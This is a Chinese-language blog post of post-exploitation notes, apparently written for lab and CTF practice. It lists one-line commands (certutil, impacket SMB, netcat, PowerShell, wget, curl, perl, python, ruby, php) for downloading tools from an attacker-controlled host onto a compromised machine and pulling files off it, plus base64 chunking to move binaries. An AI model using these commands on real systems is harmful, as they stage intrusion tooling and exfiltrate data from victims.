banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

后渗透之文件传输及下载

拿到了服务器之后,就需要上传工具,或者从服务器下载文件,针对不同的场景(网络环境)可能需要用到不同的文件下载工具,平常打靶场也能用得到,这里就简单记录下。

  • windows
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>

image

  • impacket

使用 impacket-smbserver 工具创建一个 SMB 服务器。

sudo impacket-smbserver <SHARE> ./

默认 SMB1 协议报错

image

sudo impacket-smbserver <SHARE> . -smb2support

-smb2support 选项启用了 SMB2 协议支持,这意味着允许使用 SMB2 协议的客户端连接到共享。

SMB2 由于安全策略而阻止访问

image

需要设定密码

sudo impacket-smbserver SHARE ./ -smb2support -username lca -password abc+123

image

  • python
python -m http.server <port>
  • nc

vps 上

cat user.txt | nc -l 1234
nc -l 1234 < user.txt

靶机:

nc <vps_ip> 1234 > user.txt

注:连接建立后,经测试,需要 vps 上按 ctrl+c 后,靶机才能完全收到数据,不然一直会卡住。

  • powershell
$p = New-Object System.Net.WebClient;$p.DownloadFile("http://1.1.1.1:8000/user.txt","C:\Users\lca\Desktop\user.txt");

image

  • wget
wget http://1.1.1.1/user.txt -O C:\Users\lca\Desktop\user.txt
  • curl
curl http://1.1.1.1:8000/user.txt -o C:\Users\lca\Desktop\user.txt
  • perl
perl -e "use LWP::Simple; getstore('http://1.1.1.1/user.txt', '/tmp/user.txt');"

image

  • python
python -c "import urllib.request;urllib.request.urlretrieve('http://1.1.1.1/user.txt', '/tmp/user.txt')"

image

  • ruby
ruby -ropen-uri -e "open('/tmp/user3.txt', 'wb') { |file| file << URI.open('http://1.1.1.1:8000/user.txt').read }"

image

  • php
php -r "file_put_contents('/tmp/user4.txt', file_get_contents('http://1.1.1.1:8000/user.txt'));"

image

注:有些时候如果要下载 exe、jar 类型的文件,可以先转换成 base64 的格式,传输完成后,再将 base64 编码的内容还原。如果有大小限制,还可以分块传输。

#编码
base64 -i xxx.jar > out.txt

#还原
base64 --decode -i out.txt -o 1.jar
読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。